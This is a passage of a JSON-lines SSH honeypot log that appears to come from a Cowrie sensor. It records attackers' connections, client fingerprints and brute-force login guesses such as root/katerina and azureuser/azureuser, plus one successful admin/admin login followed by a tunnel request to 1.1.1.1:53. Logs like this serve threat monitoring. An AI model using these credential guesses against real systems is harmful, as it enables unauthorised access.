openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:21.683272Z","src_ip":"103.75.182.198","session":"cb2cadd91ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katerina","message":"login attempt [root/katerina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:22.430479Z","src_ip":"103.75.182.198","session":"cb2cadd91ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:08:23.678180Z","src_ip":"103.75.182.198","session":"cb2cadd91ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51480,"dst_ip":"10.17.0.5","dst_port":22,"session":"562e32d1a6cf","protocol":"ssh","message":"New connection: 103.27.238.114:51480 (10.17.0.5:22) [session: 562e32d1a6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:19.840538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:19.845644Z","src_ip":"103.27.238.114","session":"562e32d1a6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:20.102452Z","src_ip":"103.27.238.114","session":"562e32d1a6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azsxdcfv","message":"login attempt [root/azsxdcfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:20.871357Z","src_ip":"103.27.238.114","session":"562e32d1a6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:22.131164Z","src_ip":"103.27.238.114","session":"562e32d1a6cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":56618,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd24d940877","protocol":"ssh","message":"New connection: 79.3.96.178:56618 (10.17.0.5:22) [session: bdd24d940877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:31.701450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:31.706929Z","src_ip":"79.3.96.178","session":"bdd24d940877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:31.854858Z","src_ip":"79.3.96.178","session":"bdd24d940877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraftserver","message":"login attempt [root/minecraftserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:32.473898Z","src_ip":"79.3.96.178","session":"bdd24d940877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46968,"dst_ip":"159.203.135.109","dst_port":22,"session":"58334bd628c1","protocol":"ssh","message":"New connection: 83.168.110.85:46968 (159.203.135.109:22) [session: 58334bd628c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:32.570002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:32.575220Z","src_ip":"83.168.110.85","session":"58334bd628c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:32.697466Z","src_ip":"83.168.110.85","session":"58334bd628c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:33.065585Z","src_ip":"83.168.110.85","session":"58334bd628c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:33.624505Z","src_ip":"79.3.96.178","session":"bdd24d940877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:34.197097Z","src_ip":"83.168.110.85","session":"58334bd628c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46872,"dst_ip":"159.203.135.109","dst_port":22,"session":"e83c1c3531eb","protocol":"ssh","message":"New connection: 83.168.110.85:46872 (159.203.135.109:22) [session: e83c1c3531eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:42.610832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:42.615536Z","src_ip":"83.168.110.85","session":"e83c1c3531eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:42.737143Z","src_ip":"83.168.110.85","session":"e83c1c3531eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:43.103083Z","src_ip":"83.168.110.85","session":"e83c1c3531eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:44.227236Z","src_ip":"83.168.110.85","session":"e83c1c3531eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39498,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde06cbc6bb8","protocol":"ssh","message":"New connection: 83.168.110.85:39498 (159.203.135.109:22) [session: bde06cbc6bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:54.007380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:54.012912Z","src_ip":"83.168.110.85","session":"bde06cbc6bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:54.140298Z","src_ip":"83.168.110.85","session":"bde06cbc6bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:54.504278Z","src_ip":"83.168.110.85","session":"bde06cbc6bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:09:55.812906Z","src_ip":"83.168.110.85","session":"bde06cbc6bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"429a0a2750d5","protocol":"ssh","message":"New connection: 83.168.110.85:38236 (159.203.135.109:22) [session: 429a0a2750d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:03.503922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:03.514714Z","src_ip":"83.168.110.85","session":"429a0a2750d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:03.640804Z","src_ip":"83.168.110.85","session":"429a0a2750d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:04.167768Z","src_ip":"83.168.110.85","session":"429a0a2750d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:05.299154Z","src_ip":"83.168.110.85","session":"429a0a2750d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48120,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c4d804f0c35","protocol":"ssh","message":"New connection: 83.168.110.85:48120 (159.203.135.109:22) [session: 8c4d804f0c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:14.081239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:14.086952Z","src_ip":"83.168.110.85","session":"8c4d804f0c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:14.213706Z","src_ip":"83.168.110.85","session":"8c4d804f0c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:14.891786Z","src_ip":"83.168.110.85","session":"8c4d804f0c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:16.016676Z","src_ip":"83.168.110.85","session":"8c4d804f0c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63496,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bb6a5751b02","protocol":"ssh","message":"New connection: 87.251.64.176:63496 (10.17.0.5:22) [session: 0bb6a5751b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:20.019596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:20.026706Z","src_ip":"87.251.64.176","session":"0bb6a5751b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:20.188558Z","src_ip":"87.251.64.176","session":"0bb6a5751b02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:20.795831Z","src_ip":"87.251.64.176","session":"0bb6a5751b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:10:20.962878Z","session":"0bb6a5751b02","protocol":"ssh"}
